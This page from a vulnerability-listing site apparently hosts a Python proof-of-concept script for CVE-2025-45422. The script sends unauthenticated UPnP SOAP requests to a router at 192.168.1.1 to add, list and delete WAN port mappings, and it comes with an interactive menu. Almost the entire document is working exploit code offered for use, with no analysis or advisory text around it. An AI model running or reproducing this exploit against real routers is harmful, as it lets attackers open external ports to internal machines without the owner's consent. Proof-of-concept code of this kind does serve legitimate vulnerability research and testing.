5692 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve-2025-45422.py PY
import pycurl
from io import BytesIO
import io
import xml.etree.ElementTree as ET

ns = {
    's': 'http://schemas.xmlsoap.org/soap/envelope/',
    'u': 'urn:schemas-upnp-org:service:WANPPPConnection:1'
}

def add_upnp_port_mapping(localIP, description, externalPort, internalPort, protocol, lease, ports_to_try):
    if not ports_to_try:
        print("Error: Could not add port mapping. All attempts failed.")
        return

    port = ports_to_try[0]
    url = f"http://192.168.1.1:{port}/upnp/control/WANPPPConn0"
    print("Trying URL:", url)

    if protocol.lower() == "t":
        proto = "TCP"
    else:
        proto = "UDP"

    body = f"""<?xml version="1.0"?>
    <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
        <s:Body>
            <u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
                <NewRemoteHost></NewRemoteHost>
                <NewExternalPort>{externalPort}</NewExternalPort>
                <NewProtocol>{proto}</NewProtocol>
                <NewInternalPort>{internalPort}</NewInternalPort>
                <NewInternalClient>{localIP}</NewInternalClient>
                <NewEnabled>1</NewEnabled>
                <NewPortMappingDescription>{description}</NewPortMappingDescription>
                <NewLeaseDuration>{lease}</NewLeaseDuration>
            </u:AddPortMapping>
        </s:Body>
    </s:Envelope>"""

    buffer = BytesIO()
    c = pycurl.Curl()
    c.setopt(pycurl.URL, url)
    c.setopt(pycurl.POST, 1)
    c.setopt(pycurl.POSTFIELDS, body)
    c.setopt(pycurl.HTTPHEADER, [
        "User-Agent: CVE-2025-45422",
        "Content-Type: text/xml; charset=\"utf-8\"",
        "SOAPAction: \"urn:schemas-upnp-org:service:WANPPPConnection:1#AddPortMapping\"",
        "Connection: close",
        "Cache-Control: no-cache"
    ])
    c.setopt(pycurl.WRITEFUNCTION, buffer.write)

    try:
        c.perform()
        response_code = c.getinfo(pycurl.RESPONSE_CODE)

        if response_code == 200 or response_code == 404:
            print(":---------------------------------:")
            print("  PORT MAPPING ADDED SUCCESSFULLY")
            print(":---------------------------------:")
        else:
            print(f"Error: {response_code}, trying next port")
            add_upnp_port_mapping(localIP, description, externalPort, internalPort, protocol, lease, ports_to_try[1:]) # if first port failed, try the next one
    except pycurl.error as e:
        print(f"Request failed: {e}, trying next port")
        add_upnp_port_mapping(localIP, description, externalPort, internalPort, protocol, lease, ports_to_try[1:])
    finally:
        c.close()

def get_port_mapping(index, base_port=49152): # change this to 49153 if it doesn't work
    buffer = io.BytesIO()
    c = pycurl.Curl()
    url = f"http://192.168.1.1:{base_port}/upnp/control/WANPPPConn0"
    c.setopt(c.URL, url)
    c.setopt(c.POST, 1)
    c.setopt(c.SSL_VERIFYPEER, 0)
    c.setopt(c.SSL_VERIFYHOST, 0)
    headers = [
        'Content-Type: text/xml; charset="utf-8"',
        'SOAPAction: "urn:schemas-upnp-org:service:WANPPPConnection:1#GetGenericPortMappingEntry"',
    ]
    c.setopt(c.HTTPHEADER, headers)
    data = f'''<?xml version="1.0"?>
    <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" 
                s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
      <s:Body>
        <u:GetGenericPortMappingEntry xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
          <NewPortMappingIndex>{index}</NewPortMappingIndex>
        </u:GetGenericPortMappingEntry>
      </s:Body>
    </s:Envelope>'''
    c.setopt(c.POSTFIELDS, data)
    c.setopt(c.WRITEDATA, buffer)

    try:
        c.perform()
        body = buffer.getvalue()
        root = ET.fromstring(body)
        response = root.find('.//u:GetGenericPortMappingEntryResponse', ns)
        if response is None:
            return None
        values = {
            child.tag.split('}', 1)[-1] if '}' in child.tag else child.tag: child.text
            for child in response
        }
        return values
    except:
        return None
    finally:
        c.close()

def delete_port_mapping(external_port, protocol, base_port=49152):
    buffer = io.BytesIO()
    c = pycurl.Curl()
    url = f"http://192.168.1.1:{base_port}/upnp/control/WANPPPConn0"
    c.setopt(c.URL, url)
    c.setopt(c.POST, 1)
    c.setopt(c.SSL_VERIFYPEER, 0)
    c.setopt(c.SSL_VERIFYHOST, 0)
    headers = [
        'Content-Type: text/xml; charset="utf-8"',
        'SOAPAction: "urn:schemas-upnp-org:service:WANPPPConnection:1#DeletePortMapping"',
    ]
    c.setopt(c.HTTPHEADER, headers)
    data = f'''<?xml version="1.0"?>
    <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" 
                s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
      <s:Body>
        <u:DeletePortMapping xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
          <NewExternalPort>{external_port}</NewExternalPort>
          <NewProtocol>{protocol}</NewProtocol>
        </u:DeletePortMapping>
      </s:Body>
    </s:Envelope>'''
    c.setopt(c.POSTFIELDS, data)
    c.setopt(c.WRITEDATA, buffer)

    try:
        c.perform()
        return True
    except:
        return False
    finally:
        c.close()

if __name__ == "__main__":
    ports_to_try = [49152, 49153] + list(range(49150, 49160)) # make sure 49152 and 49153 are tried first
    ports_to_try = list(dict.fromkeys(ports_to_try)) # remove duplicates

    number = input("[1] Add a PortMapping\n[2] List PortMappings + option to delete one\n'1' or '2': ")
    number = int(number) if number.isdigit() else 0
    if number == 0:
        print("Faulty number given. Quitting...")
        quit()
    elif number == 1:
        print("ADD PORT MAPPING SELECTED")
        localIP = input("Local IP: ")
        externalPort = input("External port to open: ")
        internalPort = input("Internal port to map to: ")
        description = input("Description: ")
        protocol = input("Protocol (t or u): ")
        lease = input("Do you want a removal time (seconds), default is no: ")
        lease = int(lease) if lease.isdigit() else 0
        add_upnp_port_mapping(localIP, description, int(externalPort), int(internalPort), protocol, lease, ports_to_try)
    elif number == 2:
        default_limit = 70
        try:
            limit = int(input(f"Scan the first ... port mappings (default {default_limit}): ") or default_limit)
        except ValueError:
            limit = default_limit

        def try_list_with_base_port(base_port):
            found_mappings = []
            empty_count = 0
            max_empty = 5  # stop after 5 consecutive empty entries

            for i in range(limit + 1):
                mapping = get_port_mapping(i, base_port)
                if mapping:
                    found_mappings.append(mapping)
                    empty_count = 0
                    print(f"[{i}] ExternalPort:{mapping['NewExternalPort']} -> {mapping['NewInternalClient']}:{mapping['NewInternalPort']} ({mapping['NewProtocol']})| Description:{mapping['NewPortMappingDescription']} | LeaseDuration:{mapping['NewLeaseDuration']} | Enabled:{mapping['NewEnabled']}")
                else:
                    empty_count += 1
                    if empty_count >= max_empty:
                        # stop scanning if several consecutive empty slots are found
                        break
            return found_mappings

        # try base port 49152 first
        found_mappings = try_list_with_base_port(49152)
        # fallback to 49153 if nothing found
        if not found_mappings:
            print("No port mappings found with base port 49152, trying 49153...")
            found_mappings = try_list_with_base_port(49153)
            if not found_mappings:
                print("No port mappings found with base port 49153 either. Exiting.")
                quit()

        while True:
            user_input = input("Enter ID to delete, 'r' to relist, or 'q' to quit: ")
            if user_input == 'q':
                break
            if user_input == 'r':
                found_mappings = try_list_with_base_port(49152)
                if not found_mappings:
                    print("No port mappings found with base port 49152, trying 49153 ...")
                    found_mappings = try_list_with_base_port(49153)
                    if not found_mappings:
                        print("No port mappings found with base port 49153 either.")
                        continue
                continue
            if user_input not in ('q', 'r') and not user_input.isdigit():
                print("Please fill in a number, or 'q' or 'r'")
                continue
            index = int(user_input)
            if index < 0 or index >= len(found_mappings): # Check whether number is in bounds of found_mappings
                print("Number out of bounds.")
                continue
            print(f"--------------------------------------------------------------------------------------------------------------\nSelected:[{index}] - ExternalPort:{found_mappings[index]['NewExternalPort']} -> {found_mappings[index]['NewInternalClient']}:{found_mappings[index]['NewInternalPort']} ({found_mappings[index]['NewProtocol']}) | Description:{found_mappings[index]['NewPortMappingDescription']} | LeaseDuration:{found_mappings[index]['NewLeaseDuration']} | Enabled:{found_mappings[index]['NewEnabled']}\n--------------------------------------------------------------------------------------------------------------")
            confirmation = input("Confirmation, do you want to delete the rule: y or n:").strip().lower()
            if confirmation == "y":
                # Try delete on both ports to be sure
                success = delete_port_mapping(found_mappings[index]['NewExternalPort'], found_mappings[index]['NewProtocol'], 49152) or delete_port_mapping(found_mappings[index]['NewExternalPort'], found_mappings[index]['NewProtocol'], 49153)
                if success:
                    print(f"Deleted port mapping {found_mappings[index]['NewProtocol']} {found_mappings[index]['NewExternalPort']}")
                else:
                    print("Failed to delete port mapping.")
            else:
                print("UPnP rule not deleted")
    else:
        print("Please input one of the given numbers.")
        quit()